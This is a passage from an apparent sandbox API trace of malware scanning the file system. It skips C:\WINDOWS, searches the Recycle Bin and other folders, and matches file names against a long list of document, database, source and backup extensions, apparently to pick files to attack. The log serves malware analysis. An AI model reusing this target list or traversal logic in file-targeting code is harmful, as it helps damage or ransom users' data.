4 [0094.074] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0094.074] lstrlenW (lpString=".dwt") returned 4 [0094.074] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0094.074] lstrlenW (lpString=".dx") returned 3 [0094.075] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0094.075] lstrlenW (lpString=".dxf") returned 4 [0094.075] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0094.075] lstrlenW (lpString=".edml") returned 5 [0094.075] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0094.075] lstrlenW (lpString=".efd") returned 4 [0094.075] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0094.075] lstrlenW (lpString=".elf") returned 4 [0094.075] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0094.075] lstrlenW (lpString=".emf") returned 4 [0094.075] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0094.075] lstrlenW (lpString=".emz") returned 4 [0094.075] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0094.075] lstrlenW (lpString=".epf") returned 4 [0094.075] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0094.075] lstrlenW (lpString=".eps") returned 4 [0094.075] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0094.075] lstrlenW (lpString=".epsf") returned 5 [0094.075] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0094.075] lstrlenW (lpString=".epsp") returned 5 [0094.075] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0094.075] lstrlenW (lpString=".erf") returned 4 [0094.075] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".exr") returned 4 [0094.076] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".f4v") returned 4 [0094.076] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".fido") returned 5 [0094.076] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0094.076] lstrlenW (lpString=".flm") returned 4 [0094.076] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".flv") returned 4 [0094.076] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".frm") returned 4 [0094.076] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".fxg") returned 4 [0094.076] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".geo") returned 4 [0094.076] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".gif") returned 4 [0094.076] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".grs") returned 4 [0094.076] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".gz") returned 3 [0094.076] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0094.076] lstrlenW (lpString=".h") returned 2 [0094.076] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0094.076] lstrlenW (lpString=".hdr") returned 4 [0094.076] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".hpp") returned 4 [0094.076] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".hta") returned 4 [0094.076] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0094.076] lstrlenW (lpString=".htc") returned 4 [0094.077] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0094.077] lstrlenW (lpString=".htm") returned 4 [0094.077] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0094.077] lstrlenW (lpString=".html") returned 5 [0094.077] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0094.077] lstrlenW (lpString=".icb") returned 4 [0094.077] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0094.077] lstrlenW (lpString=".ics") returned 4 [0094.077] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0094.077] lstrlenW (lpString=".iff") returned 4 [0094.077] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0094.077] lstrlenW (lpString=".inc") returned 4 [0094.077] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0094.077] lstrlenW (lpString=".indd") returned 5 [0094.077] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0094.077] lstrlenW (lpString=".ini") returned 4 [0094.077] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0094.077] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0094.077] FindClose (in: hFindFile=0x3e50580 | out: hFindFile=0x3e50580) returned 1 [0094.077] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0094.077] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0094.077] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61 [0094.078] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0094.078] lstrlenW (lpString="S-1-5-21-1051304884-625712362-2192934891-1000") returned 45 [0094.078] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-21-1051304884-625712362-2192934891-1000") returned -1 [0094.078] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0094.078] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61 [0094.078] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50480 [0094.078] FindNextFileW (in: hFindFile=0x3e50480, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.078] FindNextFileW (in: hFindFile=0x3e50480, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0094.078] lstrlenW (lpString="desktop.ini") returned 11 [0094.078] lstrlenW (lpString=".1cd") returned 4 [0094.078] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0094.078] lstrlenW (lpString=".3ds") returned 4 [0094.078] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0094.079] lstrlenW (lpString=".3fr") returned 4 [0094.079] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0094.079] lstrlenW (lpString=".3g2") returned 4 [0094.079] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0094.079] lstrlenW (lpString=".3gp") returned 4 [0094.079] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0094.079] lstrlenW (lpString=".7z") returned 3 [0094.079] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0094.079] lstrlenW (lpString=".accda") returned 6 [0094.079] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0094.079] lstrlenW (lpString=".accdb") returned 6 [0094.079] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0094.079] lstrlenW (lpString=".accdc") returned 6 [0094.079] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0094.079] lstrlenW (lpString=".accde") returned 6 [0094.079] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0094.079] lstrlenW (lpString=".accdt") returned 6 [0094.079] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0094.079] lstrlenW (lpString=".accdw") returned 6 [0094.079] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0094.079] lstrlenW (lpString=".adb") returned 4 [0094.079] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0094.079] lstrlenW (lpString=".adp") returned 4 [0094.079] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0094.079] lstrlenW (lpString=".ai") returned 3 [0094.079] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0094.079] lstrlenW (lpString=".ai3") returned 4 [0094.079] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0094.079] lstrlenW (lpString=".ai4") returned 4 [0094.079] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0094.080] lstrlenW (lpString=".ai5") returned 4 [0094.080] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0094.080] lstrlenW (lpString=".ai6") returned 4 [0094.080] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0094.080] lstrlenW (lpString=".ai7") returned 4 [0094.080] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0094.080] lstrlenW (lpString=".ai8") returned 4 [0094.080] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0094.080] lstrlenW (lpString=".anim") returned 5 [0094.080] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0094.080] lstrlenW (lpString=".arw") returned 4 [0094.080] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0094.080] lstrlenW (lpString=".as") returned 3 [0094.080] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0094.080] lstrlenW (lpString=".asa") returned 4 [0094.080] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0094.080] lstrlenW (lpString=".asc") returned 4 [0094.080] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0094.080] lstrlenW (lpString=".ascx") returned 5 [0094.080] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0094.080] lstrlenW (lpString=".asm") returned 4 [0094.080] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0094.080] lstrlenW (lpString=".asmx") returned 5 [0094.080] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0094.080] lstrlenW (lpString=".asp") returned 4 [0094.080] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0094.080] lstrlenW (lpString=".aspx") returned 5 [0094.080] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0094.080] lstrlenW (lpString=".asr") returned 4 [0094.080] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0094.080] lstrlenW (lpString=".asx") returned 4 [0094.081] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0094.081] lstrlenW (lpString=".avi") returned 4 [0094.081] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0094.081] lstrlenW (lpString=".avs") returned 4 [0094.081] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0094.081] lstrlenW (lpString=".backup") returned 7 [0094.081] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0094.081] lstrlenW (lpString=".bak") returned 4 [0094.081] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0094.081] lstrlenW (lpString=".bay") returned 4 [0094.081] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0094.081] lstrlenW (lpString=".bd") returned 3 [0094.081] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0094.081] lstrlenW (lpString=".bin") returned 4 [0094.081] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0094.081] lstrlenW (lpString=".bmp") returned 4 [0094.081] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0094.081] lstrlenW (lpString=".bz2") returned 4 [0094.081] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0094.081] lstrlenW (lpString=".c") returned 2 [0094.081] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0094.081] lstrlenW (lpString=".cdr") returned 4 [0094.081] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0094.081] lstrlenW (lpString=".cer") returned 4 [0094.081] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0094.081] lstrlenW (lpString=".cf") returned 3 [0094.081] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0094.081] lstrlenW (lpString=".cfc") returned 4 [0094.081] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0094.081] lstrlenW (lpString=".cfm") returned 4 [0094.082] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0094.082] lstrlenW (lpString=".cfml") returned 5 [0094.082] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0094.082] lstrlenW (lpString=".cfu") returned 4 [0094.082] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0094.082] lstrlenW (lpString=".chm") returned 4 [0094.082] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0094.082] lstrlenW (lpString=".cin") returned 4 [0094.082] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0094.082] lstrlenW (lpString=".class") returned 6 [0094.082] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0094.082] lstrlenW (lpString=".clx") returned 4 [0094.082] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0094.082] lstrlenW (lpString=".config") returned 7 [0094.082] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0094.082] lstrlenW (lpString=".cpp") returned 4 [0094.082] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0094.082] lstrlenW (lpString=".cr2") returned 4 [0094.082] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0094.082] lstrlenW (lpString=".crt") returned 4 [0094.082] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0094.082] lstrlenW (lpString=".crw") returned 4 [0094.082] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0094.082] lstrlenW (lpString=".cs") returned 3 [0094.082] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0094.082] lstrlenW (lpString=".css") returned 4 [0094.082] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0094.082] lstrlenW (lpString=".csv") returned 4 [0094.082] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0094.082] lstrlenW (lpString=".cub") returned 4 [0094.082] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0094.083] lstrlenW (lpString=".dae") returned 4 [0094.083] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0094.083] lstrlenW (lpString=".dat") returned 4 [0094.083] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0094.083] lstrlenW (lpString=".db") returned 3 [0094.083] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0094.083] lstrlenW (lpString=".dbf") returned 4 [0094.083] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0094.083] lstrlenW (lpString=".dbx") returned 4 [0094.083] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0094.083] lstrlenW (lpString=".dc3") returned 4 [0094.083] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0094.083] lstrlenW (lpString=".dcm") returned 4 [0094.083] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0094.083] lstrlenW (lpString=".dcr") returned 4 [0094.083] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0094.083] lstrlenW (lpString=".der") returned 4 [0094.083] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0094.083] lstrlenW (lpString=".dib") returned 4 [0094.083] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0094.083] lstrlenW (lpString=".dic") returned 4 [0094.083] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0094.083] lstrlenW (lpString=".dif") returned 4 [0094.083] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0094.083] lstrlenW (lpString=".divx") returned 5 [0094.083] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0094.083] lstrlenW (lpString=".djvu") returned 5 [0094.083] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0094.083] lstrlenW (lpString=".dng") returned 4 [0094.083] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0094.084] lstrlenW (lpString=".doc") returned 4 [0094.084] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0094.084] lstrlenW (lpString=".docm") returned 5 [0094.084] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0094.084] lstrlenW (lpString=".docx") returned 5 [0094.084] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0094.084] lstrlenW (lpString=".dot") returned 4 [0094.084] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0094.084] lstrlenW (lpString=".dotm") returned 5 [0094.084] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0094.084] lstrlenW (lpString=".dotx") returned 5 [0094.084] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0094.084] lstrlenW (lpString=".dpx") returned 4 [0094.084] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0094.084] lstrlenW (lpString=".dqy") returned 4 [0094.084] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0094.084] lstrlenW (lpString=".dsn") returned 4 [0094.084] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0094.084] lstrlenW (lpString=".dt") returned 3 [0094.084] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0094.084] lstrlenW (lpString=".dtd") returned 4 [0094.084] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0094.084] lstrlenW (lpString=".dwg") returned 4 [0094.084] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0094.084] lstrlenW (lpString=".dwt") returned 4 [0094.084] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0094.084] lstrlenW (lpString=".dx") returned 3 [0094.084] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0094.084] lstrlenW (lpString=".dxf") returned 4 [0094.084] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0094.085] lstrlenW (lpString=".edml") returned 5 [0094.085] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0094.085] lstrlenW (lpString=".efd") returned 4 [0094.085] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0094.085] lstrlenW (lpString=".elf") returned 4 [0094.085] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0094.085] lstrlenW (lpString=".emf") returned 4 [0094.085] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0094.085] lstrlenW (lpString=".emz") returned 4 [0094.085] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0094.085] lstrlenW (lpString=".epf") returned 4 [0094.085] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0094.085] lstrlenW (lpString=".eps") returned 4 [0094.085] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0094.085] lstrlenW (lpString=".epsf") returned 5 [0094.085] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0094.085] lstrlenW (lpString=".epsp") returned 5 [0094.085] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0094.085] lstrlenW (lpString=".erf") returned 4 [0094.085] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0094.085] lstrlenW (lpString=".exr") returned 4 [0094.085] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0094.085] lstrlenW (lpString=".f4v") returned 4 [0094.085] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0094.085] lstrlenW (lpString=".fido") returned 5 [0094.085] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0094.085] lstrlenW (lpString=".flm") returned 4 [0094.085] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0094.085] lstrlenW (lpString=".flv") returned 4 [0094.085] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0094.086] lstrlenW (lpString=".frm") returned 4 [0094.086] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0094.086] lstrlenW (lpString=".fxg") returned 4 [0094.086] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0094.086] lstrlenW (lpString=".geo") returned 4 [0094.086] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0094.086] lstrlenW (lpString=".gif") returned 4 [0094.086] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0094.086] lstrlenW (lpString=".grs") returned 4 [0094.086] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0094.086] FindNextFileW (in: hFindFile=0x3e50480, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0094.086] FindClose (in: hFindFile=0x3e50480 | out: hFindFile=0x3e50480) returned 1 [0094.086] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0094.086] FindNextFileW (in: hFindFile=0x3e50380, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0094.086] FindClose (in: hFindFile=0x3e50380 | out: hFindFile=0x3e50380) returned 1 [0094.087] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3820940 | out: hHeap=0x4b0000) returned 1 [0094.089] FindNextFileW (in: hFindFile=0x4c9798, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0094.089] FindNextFileW (in: hFindFile=0x4c9798, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0094.089] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0094.089] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212") returned 1 [0094.089] lstrlenW (lpString="588bce7c90097ed212") returned 18 [0094.090] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="588bce7c90097ed212") returned 1 [0094.090] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3820940 [0094.090] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0094.090] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x3e50500 [0094.308] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0094.309] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0094.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0094.309] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1 [0094.309] lstrlenW (lpString="1025") returned 4 [0094.310] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1 [0094.310] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0094.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0094.310] FindFirstFileW (in: 